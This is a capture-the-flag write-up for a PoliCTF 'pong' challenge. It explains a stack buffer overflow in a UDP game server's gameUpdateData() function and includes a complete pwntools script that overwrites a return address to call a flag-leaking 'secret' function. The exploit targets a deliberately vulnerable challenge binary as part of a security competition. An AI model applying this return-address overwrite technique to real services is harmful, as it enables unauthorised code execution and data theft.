So much pixels and fun!

nc pong.chall.polictf.it 31337 or nc pong2.chall.polictf.it 31337

Download

There was a stack bof vulnerability in function gameUpdateData().

The user input delivered to the UDP server was copied to a stack variable without checking its size. This lead to a memory corruption.

The given binary contains a function called secret which open the file flag sending its content back to the socket.

To get that content from the client side we first sent the payload requested in order to trigger the function setupListener, then we sent the payload to exploit the memory corruption.

In order to get the flag sent from the server, we need to send the triggering payload before the connection is closed…but hey wait that’s is UDP, it’s connectionless!

Moreover, there was enought time to trigger the corruption since the first payload triggers a function which sends back to the client a lot of data before to exit so, we just need to send the first payload (to trigger setupListener) followed immediately by the second one (to trigger mem corr), without waiting for any reply in-between.

from pwn import *

secret = 0x4045d1

def start_game():
#	p = remote('localhost', 31337)
	p = remote('pong2.chall.polictf.it', 31337)
	p.sendline("Lv1")
	p.recvuntil("OK ")
	s = p.recvline()
	c_port = int(s.strip())
	return c_port

def play_pong(port):
	print "connecting to pong UDP server at %d" % port
#	p = remote('localhost', port, typ="udp")
	p = remote('pong2.chall.polictf.it', port, typ="udp")
	return p

def send_to_pong(p, pay, stop=None): 
	p.sendline(pay)
	if stop:
		print p.recv()

port = start_game()
p = play_pong(port)

pay = "-1|" + "2" * 21
pay += p64(secret)
send_to_pong(p, pay, False)

pay = "1" + "|" + "2" * 22 
pay += p64(secret)
send_to_pong(p, pay, True)